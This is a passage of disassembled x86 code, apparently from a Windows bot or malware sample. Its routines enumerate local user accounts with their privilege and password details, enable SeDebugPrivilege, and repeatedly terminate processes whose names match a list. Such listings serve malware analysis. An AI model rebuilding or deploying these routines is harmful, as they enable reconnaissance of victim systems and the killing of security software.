		push	eax
		push	esi
		call	dword_4CDF38
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	loc_41697D
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	loc_4169B8
		push	ebx
		push	edi
		push	dword ptr [eax]
		lea	eax, [ebp+var_204]
		push	offset aAccountS ; "Account: %S"
		push	eax
		call	sub_4185E6
		mov	esi, [ebp+arg_10]
		mov	edi, [ebp+arg_C]
		mov	ebx, [ebp+arg_8]
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		lea	eax, [ebp+var_204]
		push	offset aFullNameS ; "Full Name:	%S"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+8]
		lea	eax, [ebp+var_204]
		push	offset aUserCommentS ; "User Comment: %S"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_204]
		push	offset aCommentS ; "Comment: %S"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		mov	eax, [eax+10h]
		sub	eax, 0
		jz	short loc_416709
		dec	eax
		jz	short loc_416702
		dec	eax
		jz	short loc_4166FB
		mov	eax, offset aUnknown ; "Unknown"
		jmp	short loc_41670E
; ---------------------------------------------------------------------------


loc_4166FB:				; CODE XREF: sub_4165F0+102j
		mov	eax, offset aAdministrator ; "Administrator"
		jmp	short loc_41670E
; ---------------------------------------------------------------------------


loc_416702:				; CODE XREF: sub_4165F0+FFj
		mov	eax, offset aUser_1 ; "User"
		jmp	short loc_41670E
; ---------------------------------------------------------------------------


loc_416709:				; CODE XREF: sub_4165F0+FCj
		mov	eax, offset aGuest ; "Guest"


loc_41670E:				; CODE XREF: sub_4165F0+109j
					; sub_4165F0+110j ...
		push	eax
		lea	eax, [ebp+var_204]
		push	offset aPrivilegeLevel ; "Privilege Level: %s"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+14h]
		lea	eax, [ebp+var_204]
		push	offset aAuthFlagsD ; "Auth Flags: %d"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+1Ch]
		lea	eax, [ebp+var_204]
		push	offset aHomeDirectoryS ; "Home Directory: %S"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+20h]
		lea	eax, [ebp+var_204]
		push	offset aParametersS ; "Parameters: %S"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+18h]
		lea	eax, [ebp+var_204]
		push	offset aPasswordAgeD ; "Password Age: %d"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+2Ch]
		lea	eax, [ebp+var_204]
		push	offset aBadPasswordCou ; "Bad Password Count: %d"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+30h]
		lea	eax, [ebp+var_204]
		push	offset aNumberOfLogins ; "Number of Logins: %d"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+24h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogonD ; "Last Logon: %d"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+28h]
		lea	eax, [ebp+var_204]
		push	offset aLastLogoffD ; "Last Logoff: %d"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+34h]
		lea	eax, [ebp+var_204]
		push	offset aLogonServerS ; "Logon Server: %S"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+3Ch]
		lea	eax, [ebp+var_204]
		push	offset aWorkstationsS ;	"Workstations: %S"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+38h]
		lea	eax, [ebp+var_204]
		push	offset aCountryCodeD ; "Country	Code: %d"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+4Ch]
		lea	eax, [ebp+var_204]
		push	offset aUserSLanguageD ; "User's Language: %d"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+40h]
		lea	eax, [ebp+var_204]
		push	offset aMax_StorageD ; "Max. Storage: %d"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		mov	eax, [ebp+var_4]
		add	esp, 40h
		push	dword ptr [eax+44h]
		lea	eax, [ebp+var_204]
		push	offset aUnitsPerWeekD ;	"Units Per Week: %d"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_204]
		push	esi
		push	eax
		push	edi
		push	ebx
		call	sub_408BC1
		add	esp, 20h
		pop	edi
		pop	ebx
		jmp	short loc_4169A9
; ---------------------------------------------------------------------------


loc_41697D:				; CODE XREF: sub_4165F0+35j
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_43C5A0
		push	eax
		call	sub_4185E6
		push	0
		lea	eax, [ebp+var_204]
		push	[ebp+arg_10]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_408BC1
		add	esp, 20h


loc_4169A9:				; CODE XREF: sub_4165F0+38Bj
		cmp	[ebp+var_4], 0
		jz	short loc_4169B8
		push	[ebp+var_4]
		call	dword_4CDF70


loc_4169B8:				; CODE XREF: sub_4165F0+40j
					; sub_4165F0+3BDj
		mov	eax, [ebp+arg_0]
		pop	esi
		leave
		retn
sub_4165F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4169BE	proc near		; CODE XREF: sub_401AA1+3EBBp

var_218		= byte ptr -218h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	[ebp+arg_C]
		mov	[ebp+var_4], esi
		call	sub_416325
		push	esi
		mov	[ebp+var_14], eax
		push	[ebp+arg_8]
		mov	[ebp+arg_C], esi
		mov	[ebp+var_18], esi
		mov	[ebp+var_10], esi
		push	offset aUsernameAccoun ; "Username accounts for	local system:"
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 18h


loc_4169FD:				; CODE XREF: sub_4169BE+12Bj
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		push	esi
		push	[ebp+var_14]
		call	dword_4CDE50
		cmp	eax, esi
		mov	[ebp+var_C], eax
		jz	short loc_416A5E
		cmp	eax, 0EAh
		jz	short loc_416A5E
		push	eax
		push	eax
		call	sub_416B34
		pop	ecx
		push	eax
		lea	eax, [ebp+var_218]
		push	offset unk_43C780
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 24h
		jmp	short loc_416ACF
; ---------------------------------------------------------------------------


loc_416A5E:				; CODE XREF: sub_4169BE+62j
					; sub_4169BE+69j
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_416AE2
		xor	ebx, ebx
		cmp	[ebp+arg_C], esi
		jbe	short loc_416ACF


loc_416A6C:				; CODE XREF: sub_4169BE+E9j
		cmp	edi, esi
		lea	eax, [ebp+var_218]
		jz	short loc_416AAB
		push	dword ptr [edi]
		push	offset aS_6	; "  %S"
		push	eax
		call	sub_4185E6
		push	1
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h
		add	edi, 4
		inc	[ebp+var_8]
		inc	ebx
		cmp	ebx, [ebp+arg_C]
		jb	short loc_416A6C
		jmp	short loc_416ACF
; ---------------------------------------------------------------------------


loc_416AAB:				; CODE XREF: sub_4169BE+B6j
		push	offset unk_43C74C
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 1Ch


loc_416ACF:				; CODE XREF: sub_4169BE+9Ej
					; sub_4169BE+ACj ...
		mov	edi, [ebp+var_4]
		cmp	edi, esi
		jz	short loc_416AE2
		push	edi
		call	dword_4CDF70
		xor	edi, edi
		mov	[ebp+var_4], edi


loc_416AE2:				; CODE XREF: sub_4169BE+A5j
					; sub_4169BE+116j
		cmp	[ebp+var_C], 0EAh
		jz	loc_4169FD
		cmp	edi, esi
		jz	short loc_416AFA
		push	edi
		call	dword_4CDF70


loc_416AFA:				; CODE XREF: sub_4169BE+133j
		push	[ebp+var_8]
		lea	eax, [ebp+var_218]
		push	offset aTotalUsersFoun ; "Total	users found: %d."
		push	eax
		call	sub_4185E6
		push	esi
		lea	eax, [ebp+var_218]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 20h
		xor	eax, eax
		cmp	[ebp+var_C], esi
		pop	edi
		pop	esi
		setz	al
		pop	ebx
		leave
		retn
sub_4169BE	endp


; =============== S U B	R O U T	I N E =======================================



sub_416B34	proc near		; CODE XREF: sub_4161FB+41p
					; sub_416389+69p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 858h
		cmp	eax, ecx
		ja	loc_416BE6
		jz	loc_416BDF
		cmp	eax, 7Bh
		ja	short loc_416BAB
		jz	short loc_416BA1
		cmp	eax, 5
		jz	short loc_416B97
		cmp	eax, 8
		jz	short loc_416B8D
		cmp	eax, 32h
		jz	short loc_416B83
		cmp	eax, 35h
		jz	short loc_416B79
		cmp	eax, 57h
		jnz	loc_416C35
		push	offset aInvalidParamet ; "Invalid parameter."
		jmp	loc_416C56
; ---------------------------------------------------------------------------


loc_416B79:				; CODE XREF: sub_416B34+30j
		push	offset aServerNameNotF ; "Server name not found."
		jmp	loc_416C56
; ---------------------------------------------------------------------------


loc_416B83:				; CODE XREF: sub_416B34+2Bj
		push	offset aThisNetworkReq ; "This network request is not supported."
		jmp	loc_416C56
; ---------------------------------------------------------------------------


loc_416B8D:				; CODE XREF: sub_416B34+26j
		push	offset aNotEnoughMemor ; "Not enough memory."
		jmp	loc_416C56
; ---------------------------------------------------------------------------


loc_416B97:				; CODE XREF: sub_416B34+21j
		push	offset aAccessDenied_ ;	"Access	denied."
		jmp	loc_416C56
; ---------------------------------------------------------------------------


loc_416BA1:				; CODE XREF: sub_416B34+1Cj
		push	offset aTheNameIsInval ; "The name is invalid."
		jmp	loc_416C56
; ---------------------------------------------------------------------------


loc_416BAB:				; CODE XREF: sub_416B34+1Aj
		sub	eax, 7Ch
		jz	short loc_416BD8
		sub	eax, 7C8h
		jz	short loc_416BD1
		dec	eax
		jz	short loc_416BC7
		dec	eax
		jnz	short loc_416C35
		push	offset aDuplicateShare ; "Duplicate share name."
		jmp	loc_416C56
; ---------------------------------------------------------------------------


loc_416BC7:				; CODE XREF: sub_416B34+84j
		push	offset aInvalidForRedi ; "Invalid for redirected resource."
		jmp	loc_416C56
; ---------------------------------------------------------------------------


loc_416BD1:				; CODE XREF: sub_416B34+81j
		push	offset aDeviceOrDirect ; "Device or directory does not exist."
		jmp	short loc_416C56
; ---------------------------------------------------------------------------


loc_416BD8:				; CODE XREF: sub_416B34+7Aj
		push	offset aLevelParameter ; "Level	parameter is invalid."
		jmp	short loc_416C56
; ---------------------------------------------------------------------------


loc_416BDF:				; CODE XREF: sub_416B34+11j
		push	offset aAGeneralFailur ; "A general failure occurred in	the netwo"...
		jmp	short loc_416C56
; ---------------------------------------------------------------------------


loc_416BE6:				; CODE XREF: sub_416B34+Bj
		mov	ecx, 8C5h
		cmp	eax, ecx
		ja	short loc_416C1F
		jz	short loc_416C18
		sub	eax, 8ADh
		jz	short loc_416C4A
		dec	eax
		dec	eax
		jz	short loc_416C11
		dec	eax
		jz	short loc_416C0A
		dec	eax
		dec	eax
		jnz	short loc_416C35
		push	offset aTheOperationIs ; "The operation	is allowed only	on the pr"...
		jmp	short loc_416C56
; ---------------------------------------------------------------------------


loc_416C0A:				; CODE XREF: sub_416B34+C9j
		push	offset aTheUserAccount ; "The user account already exists."
		jmp	short loc_416C56
; ---------------------------------------------------------------------------


loc_416C11:				; CODE XREF: sub_416B34+C6j
		push	offset aTheGroupAlread ; "The group already exists."
		jmp	short loc_416C56
; ---------------------------------------------------------------------------


loc_416C18:				; CODE XREF: sub_416B34+BBj
		push	offset aThePasswordIsS ; "The password is shorter than required	("...
		jmp	short loc_416C56
; ---------------------------------------------------------------------------


loc_416C1F:				; CODE XREF: sub_416B34+B9j
		sub	eax, 8CAh
		jz	short loc_416C51
		sub	eax, 17h
		jz	short loc_416C4A
		sub	eax, 25h
		jz	short loc_416C43
		sub	eax, 29h
		jz	short loc_416C3C


loc_416C35:				; CODE XREF: sub_416B34+35j
					; sub_416B34+87j ...
		push	offset aAnUnknownErr_0 ; "An unknown error occurred."
		jmp	short loc_416C56
; ---------------------------------------------------------------------------


loc_416C3C:				; CODE XREF: sub_416B34+FFj
		push	offset aTheComputerNam ; "The computer name is invalid."
		jmp	short loc_416C56
; ---------------------------------------------------------------------------


loc_416C43:				; CODE XREF: sub_416B34+FAj
		push	offset aShareNotFound_ ; "Share	not found."
		jmp	short loc_416C56
; ---------------------------------------------------------------------------


loc_416C4A:				; CODE XREF: sub_416B34+C2j
					; sub_416B34+F5j
		push	offset aTheUserNameCou ; "The user name	could not be found."
		jmp	short loc_416C56
; ---------------------------------------------------------------------------


loc_416C51:				; CODE XREF: sub_416B34+F0j
		push	offset aNetworkConnect ; "Network connection not found."


loc_416C56:				; CODE XREF: sub_416B34+40j
					; sub_416B34+4Aj ...
		push	offset dword_4DC690
		call	sub_4185E6
		pop	ecx
		mov	eax, offset dword_4DC690
		pop	ecx
		retn
sub_416B34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C68	proc near		; CODE XREF: sub_401AA1+3F01p

var_718		= byte ptr -718h
var_318		= byte ptr -318h
var_108		= byte ptr -108h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 718h
		push	esi
		push	200h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41A414
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		mov	esi, 108h
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		mov	[ebp+arg_0], esi
		call	dword_4240C0	; GetComputerNameA
		lea	eax, [ebp+var_108]
		push	esi
		push	eax
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_41A414
		lea	eax, [ebp+var_718]
		push	eax
		call	sub_41A3F7
		add	esp, 10h
		add	eax, eax
		push	eax
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_318]
		push	0
		push	eax
		push	0
		call	dword_4CDEF4
		test	eax, eax
		jnz	short loc_416CF8
		mov	esi, offset dword_4DC488
		push	offset unk_43CABC
		push	esi
		call	sub_4185E6
		pop	ecx
		pop	ecx
		jmp	short loc_416D21
; ---------------------------------------------------------------------------


loc_416CF8:				; CODE XREF: sub_416C68+7Aj
		lea	ecx, [ebp+var_718]
		push	ecx
		lea	ecx, [ebp+var_318]
		push	ecx
		push	eax
		call	sub_416B34
		pop	ecx
		mov	esi, offset dword_4DC488
		push	eax
		push	offset dword_43CA90
		push	esi
		call	sub_4185E6
		add	esp, 14h


loc_416D21:				; CODE XREF: sub_416C68+8Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_416C68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D26	proc near		; CODE XREF: sub_415950+7p
					; sub_416D91+5Fp ...

var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		call	dword_4240FC	; GetCurrentProcess
		push	eax
		call	dword_4CDEC8	; OpenProcessToken
		test	eax, eax
		jnz	short loc_416D45
		leave
		retn
; ---------------------------------------------------------------------------


loc_416D45:				; CODE XREF: sub_416D26+1Bj
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		xor	esi, esi
		push	[ebp+arg_0]
		push	esi
		call	dword_4CDEA4	; LookupPrivilegeValueA
		test	eax, eax
		jz	short loc_416D83
		cmp	[ebp+arg_4], esi
		mov	[ebp+var_14], 1
		jz	short loc_416D6C
		or	[ebp+var_8], 2
		jmp	short loc_416D70
; ---------------------------------------------------------------------------


loc_416D6C:				; CODE XREF: sub_416D26+3Ej
		and	[ebp+var_8], 0FFFFFFFDh


loc_416D70:				; CODE XREF: sub_416D26+44j
		push	esi
		push	esi
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	esi
		push	[ebp+var_4]
		call	dword_4CDF4C	; AdjustTokenPrivileges
		mov	esi, eax


loc_416D83:				; CODE XREF: sub_416D26+32j
		push	[ebp+var_4]
		call	dword_424068	; CloseHandle
		mov	eax, esi
		pop	esi
		leave
		retn
sub_416D26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D91	proc near		; CODE XREF: sub_401AA1+6AF8p
					; sub_416FB4+74p ...

var_550		= byte ptr -550h
var_350		= dword	ptr -350h
var_34C		= byte ptr -34Ch
var_230		= byte ptr -230h
var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
var_124		= dword	ptr -124h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 550h
		push	ebx
		push	esi
		push	edi
		push	49h
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		cmp	dword_4CDF04, ebx
		lea	edi, [ebp+var_128]
		mov	[ebp+var_12C], ebx
		rep stosd
		mov	ecx, 88h
		lea	edi, [ebp+var_34C]
		mov	[ebp+var_350], ebx
		rep stosd
		jz	loc_416F80
		cmp	dword_4CDEE8, ebx
		jz	loc_416F80
		cmp	dword_4CDE08, ebx
		jz	loc_416F80
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_416D26
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CDF04	; CreateToolhelp32Snapshot
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_4], edi
		jz	loc_416F73
		lea	eax, [ebp+var_12C]
		mov	[ebp+var_12C], 128h
		push	eax
		push	edi
		call	dword_4CDEE8	; Process32First
		mov	esi, dword_424068
		test	eax, eax
		jz	loc_416F6E
		lea	eax, [ebp+var_12C]
		push	eax
		push	edi
		call	dword_4CDE08	; Process32Next
		test	eax, eax
		jz	loc_416F6E
		mov	ebx, dword_424084


loc_416E50:				; CODE XREF: sub_416D91+1D5j
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_416EAD


loc_416E57:				; CODE XREF: sub_416D91+E3j
		push	off_43CAF0[edi]
		lea	eax, [ebp+var_108]
		push	eax
		call	dword_42416C	; lstrcmpi
		test	eax, eax
		jz	short loc_416E7B
		add	edi, 4
		cmp	edi, 60h
		jb	short loc_416E57
		jmp	loc_416F54
; ---------------------------------------------------------------------------


loc_416E7B:				; CODE XREF: sub_416D91+DBj
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		mov	edi, eax
		test	edi, edi
		jz	loc_416F54
		push	0
		push	edi
		call	dword_4240F4	; TerminateProcess
		test	eax, eax
		jnz	loc_416F54


loc_416EA5:				; CODE XREF: sub_416D91+1A9j
		push	edi
		call	esi	; CloseHandle
		jmp	loc_416F54
; ---------------------------------------------------------------------------


loc_416EAD:				; CODE XREF: sub_416D91+C4j
		cmp	[ebp+arg_C], edi
		jnz	loc_416F3F
		cmp	[ebp+arg_4], edi
		jz	loc_416F54
		push	[ebp+var_124]
		push	8
		call	dword_4CDF04	; CreateToolhelp32Snapshot
		cmp	[ebp+arg_14], 0
		mov	edi, eax
		mov	[ebp+var_350], 224h
		jz	short loc_416EFF
		lea	eax, [ebp+var_350]
		push	eax
		push	edi
		call	dword_4CDDB8	; Module32First
		push	[ebp+var_124]
		test	eax, eax
		jz	short loc_416F05
		lea	eax, [ebp+var_230]
		jmp	short loc_416F0B
; ---------------------------------------------------------------------------


loc_416EFF:				; CODE XREF: sub_416D91+14Cj
		push	[ebp+var_124]


loc_416F05:				; CODE XREF: sub_416D91+164j
		lea	eax, [ebp+var_108]


loc_416F0B:				; CODE XREF: sub_416D91+16Cj
		push	eax
		lea	eax, [ebp+var_550]
		push	offset dword_43CC9C
		push	eax
		call	sub_4185E6
		add	esp, 10h
		lea	eax, [ebp+var_550]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_408BC1
		add	esp, 14h
		jmp	loc_416EA5
; ---------------------------------------------------------------------------


loc_416F3F:				; CODE XREF: sub_416D91+11Fj
		push	[ebp+arg_C]
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_418DD0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_416F87


loc_416F54:				; CODE XREF: sub_416D91+E5j
					; sub_416D91+FDj ...
		lea	eax, [ebp+var_12C]
		push	eax
		push	[ebp+var_4]
		call	dword_4CDE08	; Process32Next
		test	eax, eax
		jnz	loc_416E50
		xor	ebx, ebx


loc_416F6E:				; CODE XREF: sub_416D91+9Dj
					; sub_416D91+B3j
		push	[ebp+var_4]
		call	esi	; CloseHandle


loc_416F73:				; CODE XREF: sub_416D91+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_416D26
		pop	ecx
		pop	ecx


loc_416F80:				; CODE XREF: sub_416D91+3Aj
					; sub_416D91+46j ...
		xor	eax, eax


loc_416F82:				; CODE XREF: sub_416D91+221j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_416F87:				; CODE XREF: sub_416D91+1C1j
		push	[ebp+var_124]
		push	0
		push	1F0FFFh
		call	ebx	; OpenProcess
		push	[ebp+var_4]
		mov	edi, eax
		call	esi	; CloseHandle
		push	0
		push	edi
		call	dword_4240F4	; TerminateProcess
		test	eax, eax
		jnz	short loc_416FAF
		push	edi
		call	esi	; CloseHandle
		jmp	short loc_416F80
; ---------------------------------------------------------------------------


loc_416FAF:				; CODE XREF: sub_416D91+217j
		xor	eax, eax
		inc	eax
		jmp	short loc_416F82
sub_416D91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FB4	proc near		; DATA XREF: sub_401AA1+2203o

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_43CD04
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4185E6
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_417013
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_408BC1
		add	esp, 14h


loc_417013:				; CODE XREF: sub_416FB4+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_416D91
		add	esp, 18h
		test	eax, eax
		lea	eax, [ebp+var_298]
		jnz	short loc_417041
		push	offset unk_43CCE0
		jmp	short loc_417046
; ---------------------------------------------------------------------------


loc_417041:				; CODE XREF: sub_416FB4+84j
		push	offset unk_43CCBC


loc_417046:				; CODE XREF: sub_416FB4+8Bj
		push	eax
		call	sub_4185E6
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_417073
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_408BC1
		add	esp, 14h


loc_417073:				; CODE XREF: sub_416FB4+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_413F3A
		push	[ebp+var_14]
		call	sub_40A446
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4240CC	; ExitThread
		pop	edi
		pop	esi
sub_416FB4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417092	proc near		; CODE XREF: sub_401AA1+6A96p
					; sub_40A26B+4Dp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		xor	edi, edi
		inc	edi
		push	0
		push	1F0FFFh
		call	dword_424084	; OpenProcess
		mov	esi, eax
		test	esi, esi
		jz	short loc_4170C4
		push	0
		push	esi
		call	dword_4240F4	; TerminateProcess
		test	eax, eax
		jnz	short loc_4170C4
		push	esi
		xor	edi, edi
		call	dword_424068	; CloseHandle


loc_4170C4:				; CODE XREF: sub_417092+1Aj
					; sub_417092+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_417092	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4170C9	proc near		; DATA XREF: sub_40121E+3B8o
		push	esi
		xor	esi, esi


loc_4170CC:				; CODE XREF: sub_4170C9+1Ej
		push	1
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_416D91
		add	esp, 18h
		push	dword_43CAE8
		call	dword_424078	; Sleep
		jmp	short loc_4170CC
sub_4170C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4170E9	proc near		; CODE XREF: sub_417119+2Ap
					; sub_417151+7Ep ...
		mov	eax, dword_4DCCFC
		push	esi
		mov	esi, dword_424068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4170FD
		push	eax
		call	esi	; CloseHandle


loc_4170FD:				; CODE XREF: sub_4170E9+Fj
		mov	eax, dword_4DCD04
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41710A
		push	eax
		call	esi	; CloseHandle


loc_41710A:				; CODE XREF: sub_4170E9+1Cj
		mov	eax, dword_4DCCF8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417117
		push	eax
		call	esi	; CloseHandle


loc_417117:				; CODE XREF: sub_4170E9+29j
		pop	esi
		retn
sub_4170E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417119	proc near		; CODE XREF: sub_401AA1+6993p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
